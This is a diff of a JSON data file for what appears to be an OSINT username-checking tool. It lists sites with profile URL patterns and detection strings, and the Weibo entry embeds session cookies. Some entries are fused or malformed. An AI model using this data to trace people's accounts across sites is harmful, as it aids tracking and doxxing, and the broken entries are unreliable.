    " + ], + "urlMain": "https://yamaya.ru", + "url": "https://yamaya.ru/profile/?{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "maya", + "alexaRank": 3335220 + }, + "Tinkoff Invest": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "ProfileHeader__nickname" + ], + "absenceStrs": [ + "ProductError" + ], + "urlMain": "https://www.tinkoff.ru/invest/", + "url": "https://tinkoff.ru/invest/social/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "adam", + "alexaRank": 1020 + }, + "Protovary.style": { + "checkType": "response_url", + "urlMain": "https://protovary.style", + "url": "https://protovary.style/user/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5350288 + }, + "beacons.ai": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "https://cdn.beacons.ai/profile_pictures" + ], + "absenceStrs": [ + "https://beacons.ai/bw_logo_full.png" + ], + "urlMain": "https://beacons.ai", + "url": "https://beacons.ai/{username}", + "usernameClaimed": "pasteljellies", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4488 + }, + "are.na": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Profile--view" + ], + "absenceStrs": [ + "Are.na home" + ], + "urlMain": "https://www.are.na", + "url": "https://www.are.na/{username}", + "usernameClaimed": "nate-cassel", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 27323 + }, + "mywishboard.com": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "profile-header", + " profile-header__col" + ], + "absenceStrs": [ + "This page could not be found" + ], + "urlMain": "https://mywishboard.com", + "url": "https://mywishboard.com/@{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 379990 + }, + "crafta.ua": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "cft-profile-about" + ], + "absenceStrs": [ + "Page not found" + ], + "urlMain": "https://crafta.ua", + "url": "https://{username}.crafta.ua/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 239025 + }, + "m.smutty.com": { + "tags": [ + "erotic", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile_stats_n" + ], + "absenceStrs": [ + "Not Found" + ], + "urlMain": "https://m.smutty.com", + "url": "https://m.smutty.com/user/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 25248, + "disabled": true + }, + "www.marykay.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "email" + ], + "absenceStrs": [ + "errorPage" + ], + "urlMain": "https://www.marykay.ru", + "url": "https://www.marykay.ru/{username}", + "usernameClaimed": "anna", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 195582, + "disabled": true + }, + "profile.hatena.ne.jp": { + "tags": [ + "jp" + ], + "checkType": "message", + "presenseStrs": [ + "profile" + ], + "absenceStrs": [ + "404 Not Found" + ], + "urlMain": "https://profile.hatena.ne.jp", + "url": "https://profile.hatena.ne.jp/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2204 + }, + "www.freelancejob.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041a\u043e\u043b-\u0432\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "

    \u041e\u0448\u0438\u0431\u043a\u0430 404

    " + ], + "urlMain": "https://www.freelancejob.ru", + "url": "https://www.freelancejob.ru/users/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 230462 + }, + "forum.exkavator.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://forum.exkavator.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 129118 + }, + "forum.kineshemec.ru": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://forum.kineshemec.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 183592 + }, + "forum.nemodniy.ru": { + "disabled": true, + "engine": "vBulletin", + "urlMain": "http://forum.nemodniy.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2074283 + }, + "forum.zone-game.info": { + "engine": "vBulletin", + "urlMain": "https://forum.zone-game.info", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 913014 + }, + "forum.uinsell.net": { + "engine": "vBulletin", + "urlMain": "http://forum.uinsell.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true, + "tags": [ + "forum" + ] + }, + "forum.heroesworld.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://forum.heroesworld.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 403451 + }, + "brute.pw": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://brute.pw", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dapf.ru": { + "engine": "XenForo", + "urlMain": "https://dapf.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3930895 + }, + "cubecraft.net": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "urlMain": "https://www.cubecraft.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 175256 + }, + "cowboyszone.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://cowboyszone.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 209568 + }, + "forums.golfmonthly.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://forums.golfmonthly.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 42573 + }, + "Tom's guide": { + "tags": [ + "forum", + "tech" + ], + "engine": "XenForo", + "urlMain": "http://forums.tomsguide.com", + "usernameClaimed": "matthewvel", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 929 + }, + "onanizm.club": { + "disabled": true, + "engine": "XenForo", + "urlMain": "http://onanizm.club", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1254774 + }, + "mednolit.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://mednolit.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1105020 + }, + "mikele-loconte.ru": { + "engine": "uCoz", + "urlMain": "http://mikele-loconte.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mkuniverse.ru": { + "engine": "uCoz", + "urlMain": "http://mkuniverse.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hashnode": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "email", + "profile-tags", + "name", + "og:site_name", + " name=" + ], + "absenceStrs": [ + "We can\u2019t find the page you\u2019re looking for!" + ], + "urlMain": "https://hashnode.com", + "url": "https://hashnode.com/@{username}", + "usernameClaimed": "melwinalm", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 15106 + }, + "www.change.org": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "first_name", + "last_name", + "Email", + "email", + "pathname" + ], + "urlMain": "https://www.change.org", + "url": "https://www.change.org/o/{username}", + "usernameClaimed": "changedotorg", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1540 + }, + "ifunny.co": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "subscribers" + ], + "urlMain": "https://www.ifunny.co", + "url": "https://www.ifunny.co/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6540 + }, + "LocalCryptos": { + "urlProbe": "https://localcryptosapi.com/v1/accounts/profile/{username}", + "checkType": "message", + "presenseStrs": [ + "username", + "email_verified", + "Email verified", + "phone_verified", + "Phone verified" + ], + "absenceStrs": [ + "error" + ], + "urlMain": "https://localcryptosapi.com", + "url": "http://localcryptos.com/en/profile/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "djskt.lnk.to": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "artistName", + " legalName" + ], + "absenceStrs": [ + "No page with this URL exists" + ], + "urlMain": "https://djskt.lnk.to", + "url": "https://djskt.lnk.to/{username}", + "usernameClaimed": "LoveDontFadeTW", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2490 + }, + "Amazon": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "authorName" + ], + "absenceStrs": [ + "Sorry! We couldn't find that page" + ], + "urlMain": "https://amazon.com", + "url": "https://amazon.com/author/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11 + }, + "calendly.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + " User" + ], + "absenceStrs": [ + "The page you are looking for could not be found" + ], + "urlMain": "https://calendly.com", + "url": "https://calendly.com/{username}/15min", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 468 + }, + "depop.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "first_name" + ], + "absenceStrs": [ + "invalidUrlError__message" + ], + "urlMain": "https://www.depop.com", + "url": "https://www.depop.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7825 + }, + "community.brave.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://community.brave.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 952 + }, + "community.endlessos.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://community.endlessos.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 530563 + }, + "forum.endeavouros.com": { + "tags": [ + "forum", + "in" + ], + "engine": "Discourse", + "urlMain": "https://forum.endeavouros.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 113264 + }, + "forum.garudalinux.org": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "urlMain": "https://forum.garudalinux.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 166470 + }, + "forum.snapcraft.io": { + "tags": [ + "forum", + "in" + ], + "engine": "Discourse", + "urlMain": "https://forum.snapcraft.io", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 14266 + }, + "forum.zorin.com": { + "engine": "Discourse", + "urlMain": "https://forum.zorin.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ], + "alexaRank": 70747 + }, + "codeseller.ru": { + "tags": [ + "kz", + "ru" + ], + "engine": "Wordpress/Author", + "urlMain": "https://codeseller.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 561266 + }, + "linuxpip.org": { + "tags": [ + "us" + ], + "engine": "Wordpress/Author", + "urlMain": "https://linuxpip.org", + "usernameClaimed": "diehard", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 43088 + }, + "Taringa": { + "disabled": true, + "tags": [ + "ar" + ], + "checkType": "message", + "presenseStrs": [ + "User", + " user-username", + " UserFeed" + ], + "absenceStrs": [ + "problema" + ], + "urlMain": "https://www.taringa.net", + "url": "https://www.taringa.net/{username}", + "usernameClaimed": "UniversoGIA", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9671 + }, + "webonrails.ru": { + "checkType": "message", + "presenseStrs": [ + "post_feed_title" + ], + "absenceStrs": [ + "

    \u041e\u0448\u0438\u0431\u043a\u0430

    " + ], + "urlMain": "https://webonrails.ru", + "url": "https://webonrails.ru/user/{username}/", + "usernameClaimed": "spawn", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "coding", + "forum" + ], + "alexaRank": 962455, + "disabled": true + }, + "support.blue-systems.com": { + "engine": "Discourse", + "urlMain": "https://support.blue-systems.com", + "usernameClaimed": "santosmosley", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 6159329 + }, + "samesound.ru": { + "tags": [ + "ru" + ], + "engine": "Wordpress/Author", + "urlMain": "https://samesound.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 196795 + }, + "universemc.us": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://universemc.us", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11324976 + }, + "slivsklad.ru": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://slivsklad.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "slivap.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://slivap.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1238007 + }, + "skynetzone.net": { + "engine": "XenForo", + "urlMain": "https://skynetzone.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3111796 + }, + "https:": { + "engine": "XenForo", + "urlMain": "https://skyblock.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "gaming" + ], + "alexaRank": 349635 + }, + "codeberg.org": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "user profile", + " username text center" + ], + "absenceStrs": [ + "og:description", + " ui centered image" + ], + "urlMain": "https://codeberg.org", + "url": "https://codeberg.org/{username}", + "usernameClaimed": "pcastela", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 102679 + }, + "1x": { + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + " onload=", + "photos-feed", + "gallery-loadmore", + "lm_mode", + "create_exhibition_name" + ], + "absenceStrs": [ + "1x.com \u2022 In Pursuit of the Sublime", + " >404
    " + ], + "urlMain": "https://1x.com", + "url": "https://1x.com/{username}", + "usernameClaimed": "michaelafiresova", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 81236 + }, + "TAP'D": { + "urlProbe": "https://tapd.co/api/user/getPublicProfile/{username}", + "checkType": "message", + "presenseStrs": [ + "\"_id\":" + ], + "absenceStrs": [ + "User does not exist" + ], + "urlMain": "https://tapd.co", + "url": "https://tapd.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ], + "alexaRank": 743883 + }, + "wblitz.net": { + "checkType": "message", + "presenseStrs": [ + "profileBlock", + "tournaments", + "serverna", + " role=", + " name=" + ], + "absenceStrs": [ + "404 \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430

    404 \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430

    " + ], + "urlMain": "https://wblitz.net", + "url": "https://wblitz.net/stat/ru/{username}", + "usernameClaimed": "lucklev12", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "gaming" + ], + "alexaRank": 1919115 + }, + "unc.ua": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "page-user_profile" + ], + "absenceStrs": [ + "Error Site" + ], + "urlMain": "https://unc.ua", + "url": "https://unc.ua/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1214262 + }, + "kloomba.com": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "\u043e\u0441\u0442\u0430\u043d\u043d\u0456\u0439 \u0432\u0456\u0437\u0438\u0442" + ], + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0457 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438 \u043d\u0435 \u0456\u0441\u043d\u0443\u0454" + ], + "urlMain": "https://kloomba.com", + "url": "https://kloomba.com/users/{username}", + "usernameClaimed": "dima", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 265975 + }, + "nevrotic.net": { + "checkType": "message", + "presenseStrs": [ + "profile-tabs", + " profile-rating" + ], + "absenceStrs": [ + "table-404" + ], + "urlMain": "http://nevrotic.net", + "url": "http://nevrotic.net/user/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "pikabu.monster": { + "tags": [ + "ru", + "sharing" + ], + "checkType": "message", + "presenseStrs": [ + "usertotalcomments", + " usertotalposts" + ], + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430" + ], + "urlMain": "https://pikabu.monster", + "url": "https://pikabu.monster/user/{username}-summary", + "source": "Pikabu", + "usernameClaimed": "Avezenit", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1115375 + }, + "steamdb.info": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "presenseStrs": [ + "profileForm", + " player-name", + " progress", + " data-not-game=" + ], + "absenceStrs": [ + "error-page", + " Error 404" + ], + "urlMain": "https://steamdb.info", + "url": "https://steamdb.info/calculator/{username}", + "source": "Steam", + "usernameClaimed": "76561197978866368", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1743 + }, + "Niftygateway": { + "tags": [ + "us" + ], + "urlProbe": "https://api.niftygateway.com/user/profile-and-offchain-nifties-by-url/?profile_url={username}", + "checkType": "message", + "presenseStrs": [ + "profile_url", + "name", + "profile_pic_url", + "verified", + "bio" + ], + "absenceStrs": [ + "not_found", + " User profile not located in our system." + ], + "urlMain": "https://api.niftygateway.com", + "url": "https://niftygateway.com/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 18499 + }, + "opensea.io": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "username\\", + "lastSale", + "publicUsername", + "name" + ], + "absenceStrs": [ + "This page is lost." + ], + "urlMain": "https://opensea.io", + "url": "https://opensea.io/accounts/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 259 + }, + "SmiHub": { + "disabled": true, + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + "user-page", + "user", + " data-name=", + "user__img" + ], + "absenceStrs": [ + "text-lg mb-3" + ], + "urlMain": "https://smihub.com", + "url": "https://smihub.com/v/{username}", + "source": "Instagram", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 869859 + }, + "do100verno.info": { + "checkType": "message", + "presenseStrs": [ + "white-space: nowrap;" + ], + "absenceStrs": [ + "l-main", + " l-mainDcL", + " l-usrMenu" + ], + "urlMain": "https://do100verno.info", + "url": "https://do100verno.info/card/{username}", + "usernameClaimed": "ekostyle", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog" + ], + "disabled": true + }, + "www.kinokopilka.pro": { + "tags": [ + "il" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + "user", + "people", + "users", + "/people" + ], + "urlMain": "https://www.kinokopilka.pro", + "url": "https://www.kinokopilka.pro/users/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 257521 + }, + "www.turpravda.com": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "email", + " name" + ], + "absenceStrs": [ + "Title", + " Shortcut Icon", + " submit" + ], + "urlMain": "https://www.turpravda.com", + "url": "https://www.turpravda.com/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 532724 + }, + "www.minds.com": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "username", + " email" + ], + "absenceStrs": [ + "> ItemFix - Channel: " + ], + "presenseStrs": [ + "user_token" + ], + "url": "https://www.itemfix.com/c/{username}", + "urlMain": "https://www.itemfix.com", + "usernameClaimed": "William_Pickton", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "us" + ], + "alexaRank": 8543 + }, + "www.opendiary.com": { + "urlSubpath": "/m", + "urlMain": "https://www.opendiary.com", + "engine": "Wordpress/Author", + "usernameClaimed": "oniongirl", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "us" + ], + "alexaRank": 1316800 + }, + "fediverse.party": { + "absenceStrs": [ + "Fediverse.Party - explore federated networks", + " error__page" + ], + "presenseStrs": [ + "mastodon-share", + "mastodon", + "socialhome", + "> 400 Bad Request" + ], + "presenseStrs": [ + "{\"ok\":1,\"data\":{\"user\":" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "cross-site", + "Priority": "u=0, i", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Accept-Encoding": "gzip, deflate, br, zstd", + "TE": "trailers", + "Cookie": "SUB=_2AkMQDkYqf8NxqwFRmf4QzWnqbop-wwHEieKmUrfxJRMxHRl-yT9kqm4gtRB6O45oxc8K9O2Jsarg5zYMmQy3bR_LfISF; expires=Saturday, 06-Dec-2025 09:51:25 GMT; path=/; domain=.weibo.com; secure; httponly; SameSite=None, SUBP=0033WrSXqPxfM72-Ws9jqgMF55529P9D9Whze9rurqv2pUdg7sY.DTbO; expires=Saturday, 06-Dec-2025 09:51:25 GMT; path=/; domain=.weibo.com, SRT=D.QqHBTrsMMFkSVdRtOeYoWrSNUdRr4Q9QUeE8U3vkW3WzMdbbN-sPVcStNbHi5mYNUCsuPDbhVdrrS3MNAZSLiDP65FJtNqbLJ%219qRQHeiQ9SOdsM5Oi84byJS%21bOMX77%2AB.vAflW-P9Rc0lR-ykKDvnJqiQVbiRVPBtS%21r3J8sQVqbgVdWiMZ4siOzu4DbmKPWf5c4uVePpVQRpVEP%21SqWqdNumPFHL; expires=Mon, 04-Dec-2034 09:51:25 GMT; Max-Age=315360000; path=/; domain=.passport.weibo.com; secure; HttpOnly, SRF=1733478685; expires=Mon, 04-Dec-2034 09:51:25 GMT; Max-Age=315360000; path=/; domain=.passport.weibo.com; secure" + }, + "activation": { + "method": "weibo", + "marks": [ + "\u5fae\u535a</title", + "<title>Sina Visitor System" + ], + "url": "https://passport.weibo.com/visitor/genvisitor2" + }, + "urlProbe": "https://weibo.com/ajax/profile/info?custom={username}", + "url": "https://weibo.com/{username}", + "urlMain": "https://weibo.com", + "usernameClaimed": "clairekuo", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn", + "networking" + ], + "alexaRank": 24 + }, + "Hatena": { + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "profile", + "myprofile", + "profile-dt", + "profile-dd", + "hatena-profile" + ], + "url": "http://profile.hatena.com/{username}/", + "urlMain": "http://profile.hatena.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "bookmarks", + "jp" + ], + "alexaRank": 606246 + }, + "angel.co": { + "absenceStrs": [ + "render_not_found" + ], + "presenseStrs": [ + "Profile", + "profiles", + "User profile", + "name", + "layouts/profile" + ], + "url": "https://angel.co/u/{username}", + "urlMain": "https://angel.co", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 3661 + }, + "nelubit.ru": { + "urlMain": "https://nelubit.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3887958 + }, + "actual-porn.org": { + "disabled": true, + "urlMain": "http://actual-porn.org", + "engine": "vBulletin", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 147937 + }, + "Aminus3": { + "absenceStrs": [ + "Expires", + " no-cache" + ], + "presenseStrs": [ + "image/ico", + " title=" + ], + "url": "https://{username}.aminus3.com/", + "urlMain": "https://aminus3.com", + "usernameClaimed": "beautifulworld", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 320009 + }, + "lomography": { + "absenceStrs": [ + "404 \u00b7 Lomography" + ], + "presenseStrs": [ + "Lomography", + " @lomography" + ], + "url": "https://www.lomography.com/homes/{username}", + "urlMain": "https://www.lomography.com", + "usernameClaimed": "steved7755", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 35937 + }, + "jAlbum.net": { + "absenceStrs": [ + "section", + " error_head" + ], + "regexCheck": "^[^\\.]+$", + "presenseStrs": [ + "alternate", + " og:image" + ], + "url": "https://{username}.jalbum.net/", + "urlMain": "https://jalbum.net", + "usernameClaimed": "laza", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 273823 + }, + "23hq": { + "absenceStrs": [ + "my-modal", + " enable", + " modal", + "The requested file couldn't be located" + ], + "presenseStrs": [ + "frame", + "first active", + "user", + "last", + "country-name" + ], + "url": "http://www.23hq.com/{username}", + "urlMain": "http://www.23hq.com", + "usernameClaimed": "nellyb", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 24678 + }, + "bliphoto": { + "absenceStrs": [ + "Your photo journal | Blipfoto" + ], + "presenseStrs": [ + "biography", + "biography-full", + "profile-sidebar", + "profile-content", + "state" + ], + "url": "https://www.blipfoto.com/{username}", + "urlMain": "https://www.blipfoto.com", + "usernameClaimed": "Wildstar", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 434270 + }, + "Fotki": { + "absenceStrs": [ + "'404 - Member Not Found'" + ], + "presenseStrs": [ + "profile-cities", + "profile-friends", + "profile-aboutme", + "profile-country", + "user_profile_info" + ], + "url": "https://members.fotki.com/{username}/about/", + "urlMain": "https://fotki.com", + "usernameClaimed": "normargab", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 45941 + }, + "viewbug": { + "absenceStrs": [ + "missing-photos" + ], + "presenseStrs": [ + "profile", + " profile_content" + ], + "url": "https://www.viewbug.com/member/{username}", + "urlMain": "https://www.viewbug.com", + "usernameClaimed": "melaniejwood", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 35377 + }, + "Piccsy": { + "absenceStrs": [ + "my-modal", + "Looks like you're a little lost." + ], + "presenseStrs": [ + "Username" + ], + "regexCheck": "^[^\\.]+$", + "url": "http://{username}.piccsy.com/", + "urlMain": "http://piccsy.com", + "usernameClaimed": "orientcement", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 152719 + }, + "iStock": { + "absenceStrs": [ + "subheading" + ], + "presenseStrs": [ + "collectionName" + ], + "errors": { + "recaptchaKey": "Captcha detected" + }, + "url": "https://www.istockphoto.com/ru/portfolio/{username}", + "urlMain": "https://www.istockphoto.com", + "usernameClaimed": "leowilde", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo", + "stock" + ], + "alexaRank": 245 + }, + "Brusheezy": { + "absenceStrs": [ + "masthead" + ], + "presenseStrs": [ + "username", + " user-name" + ], + "url": "https://www.brusheezy.com/members/{username}", + "urlMain": "https://www.brusheezy.com", + "usernameClaimed": "artistmef", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo", + "stock" + ], + "alexaRank": 12487 + }, + "lightstalking.com": { + "urlMain": "https://www.lightstalking.com", + "presenseStrs": [ + "NPRL.onLoadStyle" + ], + "absenceStrs": [ + "location:" + ], + "checkType": "message", + "requestHeadOnly": true, + "url": "https://www.lightstalking.com/author/{username}/", + "usernameClaimed": "jasonrow", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog", + "photo" + ], + "alexaRank": 104676 + }, + "morguefile.com": { + "absenceStrs": [ + "free photographs for commercial 